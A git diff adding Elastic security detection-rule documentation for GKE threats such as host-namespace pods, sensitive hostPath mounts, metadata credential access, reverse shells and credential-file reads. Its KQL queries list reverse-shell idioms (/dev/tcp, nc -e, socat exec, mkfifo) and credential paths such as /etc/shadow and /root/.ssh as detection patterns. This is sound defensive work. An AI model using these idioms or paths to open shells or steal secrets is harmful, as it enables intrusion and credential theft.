T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-a-sensitive-hostpath-volume.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-a-sensitive-hostpath-volume.asciidoc new file mode 100644 index 0000000000..e618faa064 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-a-sensitive-hostpath-volume.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-gke-pod-created-with-a-sensitive-hostpath-volume]] +=== GKE Pod Created with a Sensitive hostPath Volume + +Detects GKE pod create, update, or patch events that mount sensitive hostPath volumes such as the root filesystem, kubelet paths, or container runtime sockets. This can enable container escape and credential theft. System identities and controller-owned workloads are excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/storage/volumes/#hostpath +* https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Created with a Sensitive hostPath Volume* + + +Review `gcp.audit.request.spec.volumes.hostPath.path` and whether the mount is required for the workload. + + +*Investigation steps* + + +- Confirm the hostPath and container images in the audit request. +- Review `user.email`, namespace, and follow-on secret or exec activity. + + +*False positives* + + +- Platform DaemonSets mounting /proc or kubelet paths; validate against known agents. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.outcome:success and +event.action:("io.k8s.core.v1.pods.create" or "io.k8s.core.v1.pods.update" or "io.k8s.core.v1.pods.patch") and +gcp.audit.request.spec.volumes.hostPath.path:( + "/" or "/proc" or "/root" or "/var" or "/var/run" or "/var/run/docker.sock" or "/var/run/crio/crio.sock" or + "/var/run/cri-dockerd.sock" or "/var/lib/kubelet" or "/var/lib/kubelet/pki" or "/var/lib/docker/overlay2" or "/etc" or + "/etc/kubernetes" or "/etc/kubernetes/manifests" or "/etc/kubernetes/pki" or "/home/admin" +) and not user.email:system\:* and +not gcp.audit.request.metadata.ownerReferences.kind:("ReplicaSet" or "DaemonSet" or "StatefulSet") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostipc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostipc.asciidoc new file mode 100644 index 0000000000..3de3f14e2b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostipc.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-gke-pod-created-with-hostipc]] +=== GKE Pod Created With HostIPC + +Detects GKE pod create, update, or patch events that enable host IPC namespace sharing. This exposes host inter-process communication mechanisms and can support privilege escalation. Controller-owned workloads are excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/security/pod-security-standards/ +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Created With HostIPC* + + +Host IPC lets a pod interact with host IPC facilities. Review the pod spec, actor, and whether the change was expected. + + +*Investigation steps* + + +- Confirm `gcp.audit.request.spec.hostIPC` and targeted namespace or pod. +- Review `user.email` and correlate with other risky pod modifications. + + +*False positives* + + +- Break-glass debugging on nodes; allowlist known admin identities. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.outcome:success and +event.action:("io.k8s.core.v1.pods.create" or "io.k8s.core.v1.pods.update" or "io.k8s.core.v1.pods.patch") and +gcp.audit.request.spec.hostIPC:true and +not gcp.audit.request.metadata.ownerReferences.kind:("ReplicaSet" or "DaemonSet" or "StatefulSet") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostnetwork.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostnetwork.asciidoc new file mode 100644 index 0000000000..ca7978953c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostnetwork.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-gke-pod-created-with-hostnetwork]] +=== GKE Pod Created With HostNetwork + +Detects GKE pod create, update, or patch events that enable host network namespace sharing. HostNetwork grants access to the node network stack and can bypass namespace network policies. System identities and controller-owned workloads are excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/security/pod-security-standards/ +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Created With HostNetwork* + + +HostNetwork pods can observe or interact with node-local services. Validate the actor and workload purpose. + + +*Investigation steps* + + +- Review `user.email`, pod name, namespace, and container images in `gcp.audit.request`. +- Hunt for secret access or exec from the same identity after the change. + + +*False positives* + + +- Platform DaemonSets often use hostNetwork; controller ownerReferences exclusion reduces noise. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and +event.action:("io.k8s.core.v1.pods.create" or "io.k8s.core.v1.pods.update" or "io.k8s.core.v1.pods.patch") and +gcp.audit.request.spec.hostNetwork:true and +not gcp.audit.request.metadata.ownerReferences.kind:("ReplicaSet" or "DaemonSet" or "StatefulSet") and +not user.email:system\:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostpid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostpid.asciidoc new file mode 100644 index 0000000000..072d3df03a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-created-with-hostpid.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-gke-pod-created-with-hostpid]] +=== GKE Pod Created With HostPID + +Detects GKE pod create, update, or patch events that enable host PID namespace sharing. HostPID exposes host processes and can support privilege escalation, especially with ptrace or privileged containers. System identities and controller-owned workloads are excluded. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/security/pod-security-standards/ +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Created With HostPID* + + +HostPID visibility into host processes is high risk. Confirm whether the pod spec change was authorized. + + +*Investigation steps* + + +- Review actor (`user.email`), target pod, and images in the audit request. +- Correlate with exec, secret access, or RBAC changes from the same identity. + + +*False positives* + + +- Break-glass troubleshooting; tune by user or namespace. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and +event.action:("io.k8s.core.v1.pods.create" or "io.k8s.core.v1.pods.update" or "io.k8s.core.v1.pods.patch") and +gcp.audit.request.spec.hostPID:true and not user.email:system\:* and +not gcp.audit.request.metadata.ownerReferences.kind:("ReplicaSet" or "DaemonSet" or "StatefulSet") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-cloud-instance-metadata-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-cloud-instance-metadata-access.asciidoc new file mode 100644 index 0000000000..87ccc6c372 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-cloud-instance-metadata-access.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-gke-pod-exec-cloud-instance-metadata-access]] +=== GKE Pod Exec Cloud Instance Metadata Access + +Detects successful GKE pod exec sessions whose command references Google Cloud instance metadata endpoints, including metadata.google.internal, computeMetadata/v1, or the link-local metadata IP 169.254.169.254. Workloads that reach the GKE metadata service from an exec session are often attempting to harvest short-lived credentials or instance attributes from the node or workload identity boundary. That behavior is high risk because it can expose cloud credentials to code running inside a container. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/kubernetes-engine/docs/concepts/protecting-cluster-metadata + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: IMDS Credential Theft +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec Cloud Instance Metadata Access* + + +This alert fires when a successful pods/exec API call includes a command targeting GKE/GCP instance metadata. +Review `gcp.audit.labels.command.gke.io/command` for the full command string. + + +*Possible investigation steps* + + +- Confirm the actor (`client.user.email`), source IP, and user agent that performed exec. +- Map `gcp.audit.resource_name` to the target pod/namespace and determine whether the workload should ever call metadata. +- Correlate with GCP audit logs for token issuance or IAM activity around the same time from the node or workload identity. +- Hunt adjacent activity from the same identity: secret reads, additional execs, or RBAC changes. + + +*False positive analysis* + + +- Approved platform tooling or bootstrap scripts may query metadata during startup; baseline those images and identities. +- Break-glass egress/metadata connectivity tests can match; document and allowlist those principals. + + +*Response and remediation* + + +- If unauthorized, terminate the session, isolate the workload, revoke or rotate instance and workload credentials that + could have been read, and tighten pods/exec RBAC plus network policies that deny link-local metadata from pods. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and +event.outcome:success and event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + *169.254.169.254* or *metadata.google.internal* or *computeMetadata/v1* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-potential-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-potential-reverse-shell.asciidoc new file mode 100644 index 0000000000..229b3d3061 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-potential-reverse-shell.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-gke-pod-exec-potential-reverse-shell]] +=== GKE Pod Exec Potential Reverse Shell + +Detects successful GKE pod exec sessions whose command resembles reverse-shell or bind-shell one-liner patterns, including /dev/tcp and /dev/udp redirection, netcat/ncat exec-style flags, socat shell handoff, mkfifo pipelines, and common language socket idioms. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. Common localhost /dev/tcp health-check ports are excluded. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://attack.mitre.org/techniques/T1059/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec Potential Reverse Shell* + + +This alert fires when a successful pods/exec API call includes a command matching reverse/bind-shell idioms. +Review `gcp.audit.labels.command.gke.io/command` for the reconstructed payload. + + +*Possible investigation steps* + + +- Identify the actor (`client.user.email`), source IP, and user agent (human kubectl vs automation). +- Resolve the target namespace and pod from `gcp.audit.resource_name` and correlate with workload ownership. +- Hunt nearby events from the same identity: secret reads, pods/exec to other workloads, RoleBinding changes. +- Do not replay the command against live infrastructure unless policy explicitly allows a sandboxed recreation. + + +*False positive analysis* + + +- Security training or CTF images may include reverse-shell examples; scope exceptions to those namespaces/images. +- Some observability or mesh sidecars use socat or sockets in overlapping ways; validate image and command lineage. + + +*Response and remediation* + + +- If malicious, terminate the exec session, isolate the workload or node, rotate credentials reachable from the pod, + and revoke pods/exec for the abused principal unless strictly required. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + ( + */dev/tcp/* or */dev/udp/* or */inet/tcp/* or + *0\\\>&1* or + *IO*Socket*INET* or *TCPSocket.new* or *bash*-i* or *fsockopen* or + *import*pty* or *import*socket* or *mkfifo* or + *nc*-c* or *nc*-e* or *netcat*-e* or + *socat*exec* or *socat*pty* or *socket.socket* or + *zsh/net/tcp* or *zsh/net/udp* + ) and not ( + *127.0.0.1* or *localhost* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc new file mode 100644 index 0000000000..72b66d254e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-sensitive-file-or-credential-path-access.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-gke-pod-exec-sensitive-file-or-credential-path-access]] +=== GKE Pod Exec Sensitive File or Credential Path Access + +Detects successful GKE pod exec sessions where the executed command references high-value host or in-cluster paths: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root or home credential directories, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. Attackers with pods/exec often use these one-liners to steal credentials before lateral movement or privilege escalation. A narrow exclusion ignores benign resolv.conf reads. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.credential-access.steal-serviceaccount-token/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec Sensitive File or Credential Path Access* + + +This alert fires when a successful pods/exec API call includes a command matching sensitive path or filename +patterns. Review `gcp.audit.labels.command.gke.io/command` for the reconstructed command string. + + +*Possible investigation steps* + + +- Identify the actor (`client.user.email`), source IP, and user agent for the exec caller. +- Map `gcp.audit.resource_name` (namespace/pod) to a workload owner, image, and change history. +- Correlate adjacent activity from the same identity: secret reads, TokenRequest, RBAC writes, or additional execs. +- If host-level paths appear, determine whether the workload is privileged, uses hostPath, or runs on break-glass nodes. + + +*False positive analysis* + + +- Diagnostic images and vendor agents sometimes read kubeconfig-like or credential paths; baseline stable automation. +- Training containers that deliberately demonstrate passwd reads can trigger; scope exceptions to those namespaces. + + +*Response and remediation* + + +- If malicious, end the exec session, isolate the pod or node, rotate credentials that could have been read, and + tighten pods/exec RBAC and admission controls. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + ( + *.jks* or *.key* or *.keystore* or *.p12* or *.pem* or + */etc/kubernetes/* or */etc/passwd* or */etc/shadow* or */etc/sudoers* or + */home/*/.aws* or */home/*/.azure* or */home/*/.config/gcloud* or */home/*/.kube* or */home/*/.ssh* or + */proc/*/environ* or + */root/.aws* or */root/.azure* or */root/.config/gcloud* or */root/.kube* or */root/.ssh* or + */var/lib/kubelet/* or */var/run/secrets/* or + */etc/*.conf* and (*credential* or *key* or *password* or *secret* or *token*) + ) and not */etc/resolv.conf* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-with-curl-or-wget-to-https.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-with-curl-or-wget-to-https.asciidoc new file mode 100644 index 0000000000..e63a7de9c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-pod-exec-with-curl-or-wget-to-https.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-gke-pod-exec-with-curl-or-wget-to-https]] +=== GKE Pod Exec with Curl or Wget to HTTPS + +Detects successful GKE pod exec sessions where the executed command implies curl or wget fetching an HTTPS URL. Attackers with pods/exec often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. Common cluster health, localhost, and OIDC/JWKS endpoint patterns are excluded to reduce benign automation noise. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec with Curl or Wget to HTTPS* + + +This alert fires when a successful pods/exec API call includes a curl or wget command targeting HTTPS. +Review `gcp.audit.labels.command.gke.io/command` for the full command and destination URL. + + +*Possible investigation steps* + + +- Confirm who may exec into the target namespace: `client.user.email`, source IP, and user agent (kubectl, CI, automation). +- Map `gcp.audit.resource_name` to the pod/workload owner and retrieve the exact command from the alert document. +- Search for adjacent audit events from the same identity: secret reads, additional execs, RBAC changes, or anonymous access. +- If malicious, revoke credentials used for exec, review RoleBindings for pods/exec, and inspect the pod for dropped artifacts. + + +*False positive analysis* + + +- Approved egress or tool-download tests may match; allowlist those identities after validation. +- Some cluster components use HTTPS to kubernetes.default.svc or .well-known endpoints; expand exclusions if needed. + + +*Response and remediation* + + +- Rotate secrets accessible from the pod, cordon or delete the workload if compromised, and tighten RBAC so only + required principals retain pods/exec on sensitive namespaces. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + (*curl*https* or *wget*https*) and not ( + */.well-known/jwks.json* or */.well-known/openid-configuration* or + */api/v1/health* or */healthz* or */livez* or */readyz* or + */openid-connect/certs* or */openid/v1/jwks* or + *127.0.0.1* or *kubernetes.default.svc* or *localhost* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-privileged-pod-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-privileged-pod-created.asciidoc new file mode 100644 index 0000000000..17014beb0b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-privileged-pod-created.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-gke-privileged-pod-created]] +=== GKE Privileged Pod Created + +Detects successful GKE audit events where a pod is created with allowPrivilegeEscalation enabled. This weakens container isolation and can help an attacker escalate toward host access. Standalone pods are included; workloads owned by ReplicaSet, DaemonSet, or 